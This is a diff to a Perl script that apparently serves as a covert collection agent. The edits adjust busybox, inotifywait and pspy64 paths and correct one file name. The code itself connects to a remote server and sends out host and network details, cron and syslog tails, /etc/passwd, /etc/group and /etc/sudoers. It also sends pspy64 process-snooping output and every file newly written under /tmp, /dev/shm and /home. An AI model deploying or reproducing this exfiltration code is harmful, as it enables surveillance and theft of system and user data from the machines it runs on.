sub send_info {
my ($clientName, $clientKey) = @_;
my $socket = login($clientName, $clientKey);
- my $info = join "", ns_system('../busybox', '../busybox', 'sh', '-c',
+ my $info = join "", ns_system('./busybox', './busybox', 'sh', '-c',
'hostname; date; uname -a; lspci; lsusb; ifconfig');
$socket->send("info\n");
$socket->send($info);
return if ($pid);
my $socket = login($clientName, $clientKey);
- my ($fileName) = ns_system('../busybox', '../busybox', 'basename', "$file");
+ my ($fileName) = ns_system('./busybox', './busybox', 'basename', "$file");
$socket->send("log\n");
$socket->send("$fileName\n");
- my $tailLog = ns_systemFH('../busybox', '../busybox', 'tail', '-F', "$file");
+ my $tailLog = ns_systemFH('./busybox', './busybox', 'tail', '-F', "$file");
while (<$tailLog>) {
$socket->send($_);
}
my $pid = fork;
return if ($pid);
- my ($fileName) = ns_system('../busybox', '../busybox', 'basename', "$file");
- my ($fileHash) = ns_system('../busybox', '../busybox', 'md5sum', "$file");
+ my ($fileName) = ns_system('./busybox', './busybox', 'basename', "$file");
+ my ($fileHash) = ns_system('./busybox', './busybox', 'md5sum', "$file");
chomp $fileName; chomp $fileHash;
($fileHash) = $fileHash =~ m/([0-9a-f]+)/;
sub watch_directory {
my ($clientName, $clientKey, $dir) = @_;
- my $monitor = ns_systemFH('../inotifywait', '-r', '-m', '-e', 'close_write', '--format', '%w%f', $dir);
+ my $monitor = ns_systemFH('./inotifywait', '-r', '-m', '-e', 'close_write', '--format', '%w%f', $dir);
while (<$monitor>) {
chomp;
send_file($clientName, $clientKey, $_);
send_log($name, $key, '/var/log/cron');
send_log($name, $key, '/var/log/syslog');
send_file($name, $key, '/etc/passwd');
-send_file($name, $key, '/etc/groups');
+send_file($name, $key, '/etc/group');
send_file($name, $key, '/etc/sudoers');
-send_command_output($name, $key, 'pspy_output.txt', '../pspy64');
+send_command_output($name, $key, 'pspy_output.txt', './pspy64', '-f');
watch_directory($name, $key, '/tmp');
watch_directory($name, $key, '/dev/shm');
watch_directory($name, $key, '/home');